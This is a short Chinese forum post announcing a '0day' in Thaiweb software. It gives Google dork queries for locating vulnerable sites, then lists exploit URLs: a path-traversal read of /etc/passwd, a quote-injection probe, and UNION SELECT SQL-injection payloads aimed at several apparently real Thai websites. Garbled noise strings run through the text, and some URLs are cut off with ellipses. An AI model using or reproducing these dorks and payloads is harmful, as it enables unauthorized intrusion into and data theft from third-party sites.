Thaiweb远程文件sql注入漏洞0day

admin

Google之:
/ V" k( D6 R, c# k
intext:powered by Thaiweb
% C) E' R4 B; m4 k6 c/ Z
8 l! B( k+ K5 U6 ]7 R8 I9 Yinurl:index.php?page=board.php
9 L4 O+ i$ c, k3 |- c9 g

8 U! K. T7 E% _2 b' H  m% y& S1 ]
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd

# ?0 D& H2 H8 S5 `5 v1 X" c; G
  ^9 `7 f" w: g8 X0 N7 K/ Y. s/ G
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'

4 ~$ D. m, H; W5 {3 E
# w+ V/ L. ?/ I- T0 Z& z7 i4 K
1 R; d& `5 g( `http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
. B# B5 d, B9 D6 n, K& _3 u# h" H2 _
" N( k8 b: C0 K& h# O8 v# \* ^. Ghttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--

http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
" N5 f& K- X9 d6 A- S9 Z: O